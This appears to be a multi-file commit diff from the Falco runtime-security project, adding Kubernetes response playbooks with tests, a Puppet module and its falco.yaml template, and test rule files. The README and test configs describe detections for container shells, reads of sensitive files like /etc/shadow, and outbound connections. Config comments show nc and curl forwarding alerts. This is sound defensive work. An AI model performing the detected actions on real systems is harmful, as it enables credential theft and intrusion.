self.playbook = playbooks.AddMessageToSlack(self.slack_client)
with context('when publishing a message to slack'):
with before.each:
self.alert = {
"output": "10:22:15.576767292: Notice Unexpected setuid call by non-sudo, non-root program (user=bin cur_uid=2 parent=event_generator command=event_generator uid=root) k8s.pod=falco-event-generator-6fd89678f9-cdkvz container=1c76f49f40b4",
"output_fields": {
"container.id": "1c76f49f40b4",
"evt.arg.uid": "root",
"evt.time": 1527157335576767292,
"k8s.pod.name": "falco-event-generator-6fd89678f9-cdkvz",
"proc.cmdline": "event_generator ",
"proc.pname": "event_generator",
"user.name": "bin",
"user.uid": 2
},
"priority": "Notice",
"rule": "Non sudo setuid",
"time": "2018-05-24T10:22:15.576767292Z"
}
self.message = self.playbook.run(self.alert)
with it('publishes message to slack'):
expect(self.slack_client.post_message).to(have_been_called_with(self.message))
with it('includes falco output'):
falco_output = 'Unexpected setuid call by non-sudo, non-root program (user=bin cur_uid=2 parent=event_generator command=event_generator uid=root) k8s.pod=falco-event-generator-6fd89678f9-cdkvz container=1c76f49f40b4'
expect(self.message).to(have_key('text', falco_output))
with it('includes color based on priority'):
expect(self.message['attachments'][0]).to(have_key('color'))
with it('includes priority'):
expect(self.message['attachments'][0]['fields']).to(contain(have_keys(title='Priority', value='Notice')))
with it('includes rule name'):
expect(self.message['attachments'][0]['fields']).to(contain(have_keys(title='Rule', value='Non sudo setuid')))
with it('includes time when alert happened'):
expect(self.message['attachments'][0]['fields']).to(contain(have_keys(title='Time', value='Thu, 24 May 2018 10:22:15 GMT')))
with it('includes kubernetes pod name'):
expect(self.message['attachments'][0]['fields']).to(contain(have_keys(title='Kubernetes Pod Name', value='falco-event-generator-6fd89678f9-cdkvz')))
with it('includes container id'):
expect(self.message['attachments'][0]['fields']).to(contain(have_keys(title='Container Id', value='1c76f49f40b4')))

View File

@@ -0,0 +1,22 @@
from mamba import description, it, before
from expects import expect
from doublex import Spy
from doublex_expects import have_been_called_with
from playbooks import infrastructure
import playbooks
with description(playbooks.DeletePod) as self:
with before.each:
self.k8s_client = Spy(infrastructure.KubernetesClient)
self.playbook = playbooks.DeletePod(self.k8s_client)
with it('deletes a pod'):
pod_name = 'a pod name'
alert = {'output_fields': {'k8s.pod.name': pod_name}}
self.playbook.run(alert)
expect(self.k8s_client.delete_pod).to(have_been_called_with(pod_name))

View File

@@ -0,0 +1,22 @@
from mamba import description, it, before
from expects import expect
from doublex import Spy
from doublex_expects import have_been_called
from playbooks import infrastructure
import playbooks
with description(playbooks.NetworkIsolatePod) as self:
with before.each:
self.k8s_client = Spy(infrastructure.KubernetesClient)
self.playbook = playbooks.NetworkIsolatePod(self.k8s_client)
with it('adds isolation label to pod'):
pod_name = 'any pod name'
alert = {'output_fields': {'k8s.pod.name': pod_name}}
self.playbook.run(alert)
expect(self.k8s_client.add_label_to_pod).to(have_been_called)

View File

@@ -0,0 +1,34 @@
from mamba import description, it, before
from expects import expect
from doublex import Spy, when
from doublex_expects import have_been_called_with
from playbooks import infrastructure
import playbooks
with description(playbooks.TaintNode) as self:
with before.each:
self.k8s_client = Spy(infrastructure.KubernetesClient)
self.key = 'falco/alert'
self.value = 'true'
self.effect = 'NoSchedule'
self.playbook = playbooks.TaintNode(self.k8s_client,
self.key,
self.value,
self.effect)
with it('taints the node'):
pod_name = 'any pod name'
alert = {'output_fields': {'k8s.pod.name': pod_name}}
node = 'any node'
when(self.k8s_client).find_node_running_pod(pod_name).returns(node)
self.playbook.run(alert)
expect(self.k8s_client.taint_node).to(have_been_called_with(node,
self.key,
self.value,
self.effect))

View File

@@ -0,0 +1,10 @@
apiVersion: v1
kind: Pod
metadata:
name: nginx
spec:
containers:
- name: nginx
image: nginx:latest
ports:
- containerPort: 80

View File

@@ -0,0 +1,19 @@
import sys
import os.path
sys.path.append(os.path.join(os.path.abspath(os.path.dirname(__file__))))
import os
import playbooks
from playbooks import infrastructure
playbook = playbooks.TaintNode(
infrastructure.KubernetesClient(),
os.environ.get('TAINT_KEY', 'falco/alert'),
os.environ.get('TAINT_VALUE', 'true'),
os.environ.get('TAINT_EFFECT', 'NoSchedule')
)
def handler(event, context):
playbook.run(event['data'])

View File

@@ -0,0 +1,7 @@
/var/log/falco-events.log {
rotate 5
size 1M
postrotate
/usr/bin/killall -USR1 falco
endscript
}

View File

@@ -0,0 +1,3 @@
# Example Puppet Falco Module
This contains an example [Puppet](https://puppet.com/) module for Falco.

View File

@@ -0,0 +1,7 @@
source 'https://rubygems.org'
puppetversion = ENV.key?('PUPPET_VERSION') ? "= #{ENV['PUPPET_VERSION']}" : ['>= 3.3']
gem 'puppet', puppetversion
gem 'puppetlabs_spec_helper', '>= 0.1.0'
gem 'puppet-lint', '>= 0.3.2'
gem 'facter', '>= 1.7.0'

View File

@@ -0,0 +1,241 @@
# falco
#### Table of Contents
1. [Overview](#overview)
2. [Module Description - What the module does and why it is useful](#module-description)
3. [Setup - The basics of getting started with falco](#setup)
* [What falco affects](#what-falco-affects)
* [Beginning with falco](#beginning-with-falco)
4. [Usage - Configuration options and additional functionality](#usage)
5. [Reference - An under-the-hood peek at what the module is doing and how](#reference)
5. [Limitations - OS compatibility, etc.](#limitations)
6. [Development - Guide for contributing to the module](#development)
## Overview
Sysdig Falco is a behavioral activity monitor designed to detect anomalous activity in your applications. Powered by sysdigs system call capture infrastructure, falco lets you continuously monitor and detect container, application, host, and network activity... all in one place, from one source of data, with one set of rules.
#### What kind of behaviors can Falco detect?
Falco can detect and alert on any behavior that involves making Linux system calls. Thanks to Sysdig's core decoding and state tracking functionality, falco alerts can be triggered by the use of specific system calls, their arguments, and by properties of the calling process. For example, you can easily detect things like:
- A shell is run inside a container
- A container is running in privileged mode, or is mounting a sensitive path like `/proc` from the host.
- A server process spawns a child process of an unexpected type
- Unexpected read of a sensitive file (like `/etc/shadow`)
- A non-device file is written to `/dev`
- A standard system binary (like `ls`) makes an outbound network connection
## Module Description
This module configures falco as a systemd service. You configure falco
to send its notifications to one or more output channels (syslog,
files, programs).
## Setup
### What falco affects
This module affects the following:
* The main falco configuration file `/etc/falco/falco.yaml`, including
** Output format (JSON vs plain text)
** Log level
** Rule priority level to run
** Output buffering
** Output throttling
** Output channels (syslog, file, program)
### Beginning with falco
To have Puppet install falco with the default parameters, declare the falco class:
``` puppet
class { 'falco': }
```
When you declare this class with the default options, the module:
* Installs the appropriate falco software package and installs the falco-probe kernel module for your operating system.
* Creates the required configuration file `/etc/falco/falco.yaml`. By default only syslog output is enabled.
* Starts the falco service.
## Usage
### Enabling file output
To enable file output, set the `file_output` hash, as follows:
``` puppet
class { 'falco':
file_output => {
'enabled' => 'true',
'keep_alive' => 'false',
'filename' => '/tmp/falco-events.txt'
},
}
```
### Enabling program output
To enable program output, set the `program_output` hash and optionally the `json_output` parameters, as follows:
``` puppet
class { 'falco':
json_output => 'true',
program_output => {
'enabled' => 'true',
'keep_alive' => 'false',
'program' => 'curl http://some-webhook.com'
},
}
```
## Reference
* [**Public classes**](#public-classes)
* [Class: falco](#class-falco)
### Public Classes
#### Class: `falco`
Guides the basic setup and installation of falco on your system.
When this class is declared with the default options, Puppet:
* Installs the appropriate falco software package and installs the falco-probe kernel module for your operating system.
* Creates the required configuration file `/etc/falco/falco.yaml`. By default only syslog output is enabled.
* Starts the falco service.
You can simply declare the default `falco` class:
``` puppet
class { 'falco': }
```
###### `rules_file`
An array of files for falco to load. Order matters--the first file listed will be loaded first.
Default: `['/etc/falco/falco_rules.yaml', '/etc/falco/falco_rules.local.yaml']`
##### `json_output`
Whether to output events in json or text.
Default: `false`
##### `log_stderr`
Send falco's logs to stderr. Note: this is not notifications, this is
logs from the falco daemon itself.
Default: `false`
##### `log_syslog`
Send falco's logs to syslog. Note: this is not notifications, this is
logs from the falco daemon itself.
Default: `true`
##### `log_level`
Minimum log level to include in logs. Note: these levels are
separate from the priority field of rules. This refers only to the
log level of falco's internal logging. Can be one of "emergency",
"alert", "critical", "error", "warning", "notice", "info", "debug".
Default: `info`
##### `priority`
Minimum rule priority level to load and run. All rules having a
priority more severe than this level will be loaded/run. Can be one
of "emergency", "alert", "critical", "error", "warning", "notice",
"info", "debug".
Default: `debug`
##### `buffered_outputs`
Whether or not output to any of the output channels below is
buffered.
Default: `true`
##### `outputs_rate`/`outputs_max_burst`
A throttling mechanism implemented as a token bucket limits the
rate of falco notifications. This throttling is controlled by the following configuration
options:
* `outputs_rate`: the number of tokens (i.e. right to send a notification)
gained per second. Defaults to 1.
* `outputs_max_burst`: the maximum number of tokens outstanding. Defaults to 1000.
##### `syslog_output
Controls syslog output for notifications. Value: a hash, containing the following:
* `enabled`: `true` or `false`. Default: `true`.
Example:
``` puppet
class { 'falco':
syslog_output => {
'enabled' => 'true',
},
}
```
##### `file_output`
Controls file output for notifications. Value: a hash, containing the following:
* `enabled`: `true` or `false`. Default: `false`.
* `keep_alive`: If keep_alive is set to true, the file will be opened once and continuously written to, with each output message on its own line. If keep_alive is set to false, the file will be re-opened for each output message. Default: `false`.
* `filename`: Notifications will be written to this file.
Example:
``` puppet
class { 'falco':
file_output => {
'enabled' => 'true',
'keep_alive' => 'false',
'filename' => '/tmp/falco-events.txt'
},
}
```
##### `program_output
Controls program output for notifications. Value: a hash, containing the following:
* `enabled`: `true` or `false`. Default: `false`.
* `keep_alive`: If keep_alive is set to true, the file will be opened once and continuously written to, with each output message on its own line. If keep_alive is set to false, the file will be re-opened for each output message. Default: `false`.
* `program`: Notifications will be written to this program.
Example:
``` puppet
class { 'falco':
program_output => {
'enabled' => 'true',
'keep_alive' => 'false',
'program' => 'curl http://some-webhook.com'
},
}
```
## Limitations
The module works where falco works as a daemonized service (generally, Linux only).
## Development
For more information on Sysdig Falco, visit our [github](https://github.com/draios/falco) or [web site](https://sysdig.com/opensource/falco/).

View File

@@ -0,0 +1,18 @@
require 'rubygems'
require 'puppetlabs_spec_helper/rake_tasks'
require 'puppet-lint/tasks/puppet-lint'
PuppetLint.configuration.send('disable_80chars')
PuppetLint.configuration.ignore_paths = ["spec/**/*.pp", "pkg/**/*.pp"]
desc "Validate manifests, templates, and ruby files"
task :validate do
Dir['manifests/**/*.pp'].each do |manifest|
sh "puppet parser validate --noop #{manifest}"
end
Dir['spec/**/*.rb','lib/**/*.rb'].each do |ruby_file|
sh "ruby -c #{ruby_file}" unless ruby_file =~ /spec\/fixtures/
end
Dir['templates/**/*.erb'].each do |template|
sh "erb -P -x -T '-' #{template} | ruby -c"
end
end

View File

@@ -0,0 +1,13 @@
# == Class: falco::config
class falco::config inherits falco {
file { '/etc/falco/falco.yaml':
notify => Service['falco'],
ensure => file,
owner => 'root',
group => 'root',
mode => '0644',
content => template('falco/falco.yaml.erb'),
}
}

View File

@@ -0,0 +1,31 @@
class falco (
$rules_file = [
'/etc/falco/falco_rules.yaml',
'/etc/falco/falco_rules.local.yaml'
],
$json_output = 'false',
$log_stderr = 'false',
$log_syslog = 'true',
$log_level = 'info',
$priority = 'debug',
$buffered_outputs = 'true',
$outputs_rate = 1,
$outputs_max_burst = 1000,
$syslog_output = {
'enabled' => 'true'
},
$file_output = {
'enabled' => 'false',
'keep_alive' => 'false',
'filename' => '/tmp/falco_events.txt'
},
$program_output = {
'enabled' => 'false',
'keep_alive' => 'false',
'program' => 'curl http://some-webhook.com'
},
) {
include falco::install
include falco::config
include falco::service
}

View File

@@ -0,0 +1,6 @@
# == Class: falco::install
class falco::install inherits falco {
package { 'falco':
ensure => installed,
}
}

View File

@@ -0,0 +1,11 @@
# == Class: falco::service
class falco::service inherits falco {
service { 'falco':
ensure => running,
enable => true,
hasstatus => true,
hasrestart => true,
require => Package['falco'],
}
}

View File

@@ -0,0 +1,14 @@
{
"name": "sysdig-falco",
"version": "0.1.0",
"author": "sysdig",
"summary": "Sysdig Falco: Behavioral Activity Monitoring With Container Support",
"license": "GPLv2",
"source": "https://github.com/draios/falco",
"project_page": "https://github.com/draios/falco",
"issues_url": "https://github.com/draios/falco/issues",
"dependencies": [
{"name":"puppetlabs-stdlib","version_requirement":">= 1.0.0"}
]
}

View File

@@ -0,0 +1,7 @@
require 'spec_helper'
describe 'falco' do
context 'with defaults for all parameters' do
it { should contain_class('falco') }
end
end

View File

@@ -0,0 +1 @@
require 'puppetlabs_spec_helper/module_spec_helper'

View File

@@ -0,0 +1,96 @@
####
# THIS FILE MANAGED BY PUPPET. DO NOT MODIFY
####
# File(s) containing Falco rules, loaded at startup.
#
# falco_rules.yaml ships with the falco package and is overridden with
# every new software version. falco_rules.local.yaml is only created
# if it doesn't exist. If you want to customize the set of rules, add
# your customizations to falco_rules.local.yaml.
#
# The files will be read in the order presented here, so make sure if
# you have overrides they appear in later files.
rules_file:
<% Array(@rules_file).each do |file| -%>
- <%= file %>
<% end -%>
# Whether to output events in json or text
json_output: <%= @json_output %>
# Send information logs to stderr and/or syslog Note these are *not* security
# notification logs! These are just Falco lifecycle (and possibly error) logs.
log_stderr: <%= @log_stderr %>
log_syslog: <%= @log_syslog %>
# Minimum log level to include in logs. Note: these levels are
# separate from the priority field of rules. This refers only to the
# log level of falco's internal logging. Can be one of "emergency",
# "alert", "critical", "error", "warning", "notice", "info", "debug".
log_level: <%= @log_level %>
# Minimum rule priority level to load and run. All rules having a
# priority more severe than this level will be loaded/run. Can be one
# of "emergency", "alert", "critical", "error", "warning", "notice",
# "info", "debug".
priority: <%= @priority %>
# Whether or not output to any of the output channels below is
# buffered. Defaults to true
buffered_outputs: <%= @buffered_outputs %>
# A throttling mechanism implemented as a token bucket limits the
# rate of falco notifications. This throttling is controlled by the following configuration
# options:
# - rate: the number of tokens (i.e. right to send a notification)
# gained per second. Defaults to 1.
# - max_burst: the maximum number of tokens outstanding. Defaults to 1000.
#
# With these defaults, falco could send up to 1000 notifications after
# an initial quiet period, and then up to 1 notification per second
# afterward. It would gain the full burst back after 1000 seconds of
# no activity.
outputs:
rate: <%= @outputs_rate %>
max_burst: <%= @outputs_max_burst %>
# Where security notifications should go.
# Multiple outputs can be enabled.
<% unless @syslog_output.nil? -%>
syslog_output:
enabled: <%= @syslog_output['enabled'] %>
<% end -%>
# If keep_alive is set to true, the file will be opened once and
# continuously written to, with each output message on its own
# line. If keep_alive is set to false, the file will be re-opened
# for each output message.
<% unless @file_output.nil? -%>
file_output:
enabled: <%= @file_output['enabled'] %>
keep_alive: <%= @file_output['keep_alive'] %>
filename: <%= @file_output['filename'] %>
<% end -%>
# Possible additional things you might want to do with program output:
# - send to a slack webhook:
# program: "jq '{text: .output}' | curl -d @- -X POST https://hooks.slack.com/services/XXX"
# - logging (alternate method than syslog):
# program: logger -t falco-test
# - send over a network connection:
# program: nc host.example.com 80
# If keep_alive is set to true, the program will be started once and
# continuously written to, with each output message on its own
# line. If keep_alive is set to false, the program will be re-spawned
# for each output message.
<% unless @program_output.nil? -%>
program_output:
enabled: <%= @program_output['enabled'] %>
keep_alive: <%= @program_output['keep_alive'] %>
program: <%= @program_output['program'] %>
<% end -%>

View File

@@ -0,0 +1,12 @@
# The baseline for module testing used by Puppet Labs is that each manifest
# should have a corresponding test manifest that declares that class or defined
# type.
#
# Tests are then run by using puppet apply --noop (to check for compilation
# errors and view a log of events) or by fully applying the test in a virtual
# environment (to compare the resulting system state to the desired state).
#
# Learn more about module testing here:
# http://docs.puppetlabs.com/guides/tests_smoke.html
#
include falco

View File

@@ -31,7 +31,9 @@ install(FILES falco_rules.local.yaml
RENAME "${FALCO_LOCAL_RULES_DEST_FILENAME}")
install(FILES application_rules.yaml
DESTINATION "${FALCO_ETC_DIR}"
DESTINATION "/etc/falco/rules.available"
RENAME "${FALCO_APP_RULES_DEST_FILENAME}")
install(DIRECTORY DESTINATION "/etc/falco/rules.d")
endif()

File diff suppressed because it is too large Load Diff

View File

@@ -30,6 +30,8 @@ class FalcoTest(Test):
self.trace_file = os.path.join(self.basedir, self.trace_file)
self.json_output = self.params.get('json_output', '*', default=False)
self.json_include_output_property = self.params.get('json_include_output_property', '*', default=True)
self.all_events = self.params.get('all_events', '*', default=False)
self.priority = self.params.get('priority', '*', default='debug')
self.rules_file = self.params.get('rules_file', '*', default=os.path.join(self.basedir, '../rules/falco_rules.yaml'))
@@ -212,7 +214,7 @@ class FalcoTest(Test):
triggered_rules = match.group(1)
for rule, count in self.detect_counts.iteritems():
expected = '{}: (\d+)'.format(rule)
expected = '\s{}: (\d+)'.format(rule)
match = re.search(expected, triggered_rules)
if match is None:
@@ -249,7 +251,11 @@ class FalcoTest(Test):
for line in res.stdout.splitlines():
if line.startswith('{'):
obj = json.loads(line)
for attr in ['time', 'rule', 'priority', 'output']:
if self.json_include_output_property:
attrs = ['time', 'rule', 'priority', 'output']
else:
attrs = ['time', 'rule', 'priority']
for attr in attrs:
if not attr in obj:
self.fail("Falco JSON object {} does not contain property \"{}\"".format(line, attr))
@@ -348,8 +354,8 @@ class FalcoTest(Test):
trace_arg = "-e {}".format(self.trace_file)
# Run falco
cmd = '{} {} {} -c {} {} -o json_output={} -o priority={} -v'.format(
self.falco_binary_path, self.rules_args, self.disabled_args, self.conf_file, trace_arg, self.json_output, self.priority)
cmd = '{} {} {} -c {} {} -o json_output={} -o json_include_output_property={} -o priority={} -v'.format(
self.falco_binary_path, self.rules_args, self.disabled_args, self.conf_file, trace_arg, self.json_output, self.json_include_output_property, self.priority)
for tag in self.disable_tags:
cmd += ' -T {}'.format(tag)
@@ -360,6 +366,9 @@ class FalcoTest(Test):
if self.run_duration:
cmd += ' -M {}'.format(self.run_duration)
if self.all_events:
cmd += ' -A'
self.falco_proc = process.SubProcess(cmd)
res = self.falco_proc.run(timeout=180, sig=9)

View File

@@ -128,6 +128,18 @@ trace_files: !mux
- rules/single_rule.yaml
- rules/double_rule.yaml
trace_file: trace_files/cat_write.scap
all_events: True
rules_directory:
detect: True
detect_level:
- WARNING
- INFO
- ERROR
rules_file:
- rules/rules_dir
trace_file: trace_files/cat_write.scap
all_events: True
multiple_rules_suppress_info:
detect: True
@@ -143,6 +155,7 @@ trace_files: !mux
- rules/single_rule.yaml
- rules/double_rule.yaml
trace_file: trace_files/cat_write.scap
all_events: True
multiple_rules_overriding:
detect: False
@@ -642,6 +655,14 @@ trace_files: !mux
- rules/rule_append_failure.yaml
trace_file: trace_files/cat_write.scap
rule_append_skipped:
detect: False
priority: ERROR
rules_file:
- rules/single_rule.yaml
- rules/append_single_rule.yaml
trace_file: trace_files/cat_write.scap
rule_append:
detect: True
detect_level: WARNING
@@ -655,3 +676,67 @@ trace_files: !mux
- rules/rule_append_false.yaml
trace_file: trace_files/cat_write.scap
json_output_no_output_property:
json_output: True
json_include_output_property: False
detect: True
detect_level: WARNING
rules_file:
- rules/rule_append.yaml
trace_file: trace_files/cat_write.scap
stdout_contains: "^(?!.*Warning An open of /dev/null was seen.*)"
in_operator_netmasks:
detect: True
detect_level: INFO
rules_file:
- rules/detect_connect_using_in.yaml
trace_file: trace_files/connect_localhost.scap
syscalls:
detect: True
detect_level: INFO
rules_file:
- rules/syscalls.yaml
detect_counts:
- detect_madvise: 2
- detect_open: 2
trace_file: trace_files/syscall.scap
all_events: True
catchall_order:
detect: True
detect_level: INFO
rules_file:
- rules/catchall_order.yaml
detect_counts:
- open_dev_null: 1
dev_null: 0
trace_file: trace_files/cat_write.scap
skip_unknown_noevt:
detect: False
stdout_contains: Skipping rule "Contains Unknown Event And Skipping" that contains unknown filter proc.nobody
rules_file:
- rules/skip_unknown_evt.yaml
trace_file: trace_files/cat_write.scap
skip_unknown_prefix:
detect: False
rules_file:
- rules/skip_unknown_prefix.yaml
trace_file: trace_files/cat_write.scap
skip_unknown_error:
exit_status: 1
stderr_contains: Rule "Contains Unknown Event And Not Skipping" contains unknown filter proc.nobody. Exiting.
rules_file:
- rules/skip_unknown_error.yaml
trace_file: trace_files/cat_write.scap
skip_unknown_unspec_error:
exit_status: 1
stderr_contains: Rule "Contains Unknown Event And Unspecified" contains unknown filter proc.nobody. Exiting.
rules_file:
- rules/skip_unknown_unspec.yaml
trace_file: trace_files/cat_write.scap

View File

@@ -86,6 +86,7 @@ traces: !mux
detect_level: WARNING
detect_counts:
- "Read sensitive file untrusted": 1
- "Read sensitive file trusted after startup": 1
read-sensitive-file-untrusted:
trace_file: traces-positive/read-sensitive-file-untrusted.scap

View File

@@ -0,0 +1,3 @@
- rule: open_from_cat
append: true
condition: and fd.name=/tmp

View File

@@ -0,0 +1,12 @@
- rule: open_dev_null
desc: Any open of the file /dev/null
condition: evt.type=open and fd.name=/dev/null
output: An open of /dev/null was seen (command=%proc.cmdline evt=%evt.type %evt.args)
priority: INFO
- rule: dev_null
desc: Anything related to /dev/null
condition: fd.name=/dev/null
output: Something related to /dev/null was seen (command=%proc.cmdline evt=%evt.type %evt.args)
priority: INFO
warn_evttypes: false

View File

@@ -0,0 +1,6 @@
- rule: Localhost connect
desc: Detect any connect to the localhost network, using fd.net and the in operator
condition: evt.type=connect and fd.net in ("127.0.0.1/24")
output: Program connected to localhost network
(user=%user.name command=%proc.cmdline connection=%fd.name)
priority: INFO

View File

@@ -0,0 +1,14 @@
- list: cat_binaries
items: [cat]
- list: cat_capable_binaries
items: [cat_binaries]
- macro: is_cat
condition: proc.name in (cat_capable_binaries)
- rule: open_from_cat
desc: A process named cat does an open
condition: evt.type=open and is_cat
output: "An open was seen (command=%proc.cmdline)"
priority: WARNING

View File

@@ -0,0 +1,13 @@
# This ruleset depends on the is_cat macro defined in single_rule.yaml
- rule: exec_from_cat
desc: A process named cat does execve
condition: evt.type=execve and is_cat
output: "An exec was seen (command=%proc.cmdline)"
priority: ERROR
- rule: access_from_cat
desc: A process named cat does an access
condition: evt.type=access and is_cat
output: "An access was seen (command=%proc.cmdline)"
priority: INFO

View File

@@ -0,0 +1,6 @@
- rule: Contains Unknown Event And Not Skipping
desc: Contains an unknown event
condition: proc.nobody=cat
output: Never
skip-if-unknown-filter: false
priority: INFO

View File

@@ -0,0 +1,6 @@
- rule: Contains Unknown Event And Skipping
desc: Contains an unknown event
condition: evt.type=open and proc.nobody=cat
output: Never
skip-if-unknown-filter: true
priority: INFO

View File

@@ -0,0 +1,8 @@
- rule: Contains Prefix of Filter
desc: Testing matching filter prefixes
condition: >
evt.type=open and evt.arg.path="foo" and evt.arg[0]="foo"
and proc.aname="ls" and proc.aname[1]="ls"
and proc.apid=10 and proc.apid[1]=10
output: Never
priority: INFO

View File

@@ -0,0 +1,5 @@
- rule: Contains Unknown Event And Unspecified
desc: Contains an unknown event
condition: proc.nobody=cat
output: Never
priority: INFO

11
test/rules/syscalls.yaml Normal file
View File

@@ -0,0 +1,11 @@
- rule: detect_madvise
desc: Detect any call to madvise
condition: evt.type=madvise and evt.dir=<
output: A madvise syscall was seen (command=%proc.cmdline evt=%evt.type)
priority: INFO
- rule: detect_open
desc: Detect any call to open
condition: evt.type=open and evt.dir=< and fd.name=/dev/null
output: An open syscall was seen (command=%proc.cmdline evt=%evt.type file=%fd.name)
priority: INFO

Binary file not shown.

Binary file not shown.

View File

@@ -3,6 +3,7 @@ include_directories("${PROJECT_SOURCE_DIR}/../sysdig/userspace/libscap")
include_directories("${PROJECT_SOURCE_DIR}/../sysdig/userspace/libsinsp")
include_directories("${PROJECT_BINARY_DIR}/userspace/engine")
include_directories("${LUAJIT_INCLUDE}")
include_directories("${CURL_INCLUDE_DIR}")
add_library(falco_engine STATIC rules.cpp falco_common.cpp falco_engine.cpp token_bucket.cpp formats.cpp)

View File

@@ -88,7 +88,8 @@ void falco_engine::load_rules(const string &rules_content, bool verbose, bool al
// formats.formatter is used, so we can unconditionally set
// json_output to false.
bool json_output = false;
falco_formats::init(m_inspector, m_ls, json_output);
bool json_include_output_property = false;
falco_formats::init(m_inspector, m_ls, json_output, json_include_output_property);
m_rules->load_rules(rules_content, verbose, all_events, m_extra, m_replace_container_info, m_min_priority);
}
@@ -161,6 +162,13 @@ void falco_engine::evttypes_for_ruleset(std::vector<bool> &evttypes, const std::
return m_evttype_filter->evttypes_for_ruleset(evttypes, ruleset_id);
}
void falco_engine::syscalls_for_ruleset(std::vector<bool> &syscalls, const std::string &ruleset)
{
uint16_t ruleset_id = find_ruleset_id(ruleset);
return m_evttype_filter->syscalls_for_ruleset(syscalls, ruleset_id);
}
unique_ptr<falco_engine::rule_result> falco_engine::process_event(sinsp_evt *ev, uint16_t ruleset_id)
{
if(should_drop_evt())
@@ -236,10 +244,11 @@ void falco_engine::print_stats()
void falco_engine::add_evttype_filter(string &rule,
set<uint32_t> &evttypes,
set<uint32_t> &syscalls,
set<string> &tags,
sinsp_filter* filter)
{
m_evttype_filter->add(rule, evttypes, tags, filter);
m_evttype_filter->add(rule, evttypes, syscalls, tags, filter);
}
void falco_engine::clear_filters()

Some files were not shown because too many files have changed in this diff Show More